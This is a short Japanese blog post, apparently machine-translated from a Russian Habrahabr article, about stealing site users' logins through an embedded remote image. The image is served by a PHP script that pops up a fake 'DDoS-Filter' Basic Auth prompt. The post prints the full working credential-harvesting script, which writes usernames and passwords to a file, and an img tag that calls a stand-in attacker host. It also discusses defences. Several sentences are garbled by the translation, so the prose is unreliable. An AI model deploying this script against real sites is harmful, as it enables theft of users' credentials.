正しい人々は言う:「新しいものはすべて忘れ去られている」
サイトのページにリモートリソース(他のサイトの画像など)を埋め込む機能は、非常に悪い習慣です。 ある時点で、サイトにかなり深刻な結果をもたらす可能性があります。 10年前でさえ、これが可能であることを読んで驚いた。 そして今、10年が経過し、何も変わっていません、そして、これは決して変わることはありそうもないようです。
カットの下の詳細
理論と実践
1.
2. PHPでそのようなコンテンツを含むスクリプトをロードします
<?php if (!isset($_SERVER['PHP_AUTH_USER'])) { $vulnsite = parse_url($_SERVER['REFERER']); //header('Content-Type: text/html; charset=windows-1251'); //header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"'); //header('HTTP/1.0 401 Unauthorized'); } else { $f = fopen('passes.txt', 'a'); fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); fclose($f); } header("Content-type: image/jpeg"); $image = imagecreatefromjpeg('image.jpg'); imagejpeg($image); imagedestroy($image); exit(); // image.jpg // superphoto.jpg . ?>
3.記事を書き、投稿に写真を埋め込みます。
<img src="http://exEmple.com/evilimage.php" alt="image"/>
4.サイトにモデレートがある場合、記事をモデレートに送信します。
5.たとえば、この記事は彼にとって有益であり、メインページに掲載されています。
6.邪悪な人は、メインの頭の中で自分の頭脳を見て、PHPコードのコメントを削除します。そのため、投稿からの写真のリクエストに応じて、ユーザーはブラウザにウィンドウがあり、許可があります。 DDoSが攻撃し、ユーザー名とパスワードの再入力を求めます。
7.丁寧なユーザーではなく、承認という形でドメイン名を読み取ったり、ログインとパスワードを送信したりしません。
8.悪人があなたのユーザー名とパスワードを受け取り、彼の目標が達成されます。
保護方法
私は2つの正気な方法があると思う:
- ブラウザーレベル:別のサイトからの承認ウィンドウの発行の禁止
- サイト開発者レベル:すべてのリモートリソースをホスティングにコピーする
PS
Habrahabr.ruはここでも例外ではありません。彼はメインページに他のリソースの写真を掲載しています。 そのため、このトリックを念頭に置いて、手紙の前に必ず承認が必要なドメイン名を確認するだけの価値があります。
また、写真がメインの写真の上にある間、この写真が伸びるサイトは、写真をスクリプトに置き換えるためだけにハッキングされるという潜在的な危険性が常にあります。
PPS
これはバグだとは思いません。
これは、HTTPプロトコルで公式に許可されているトリックにすぎません。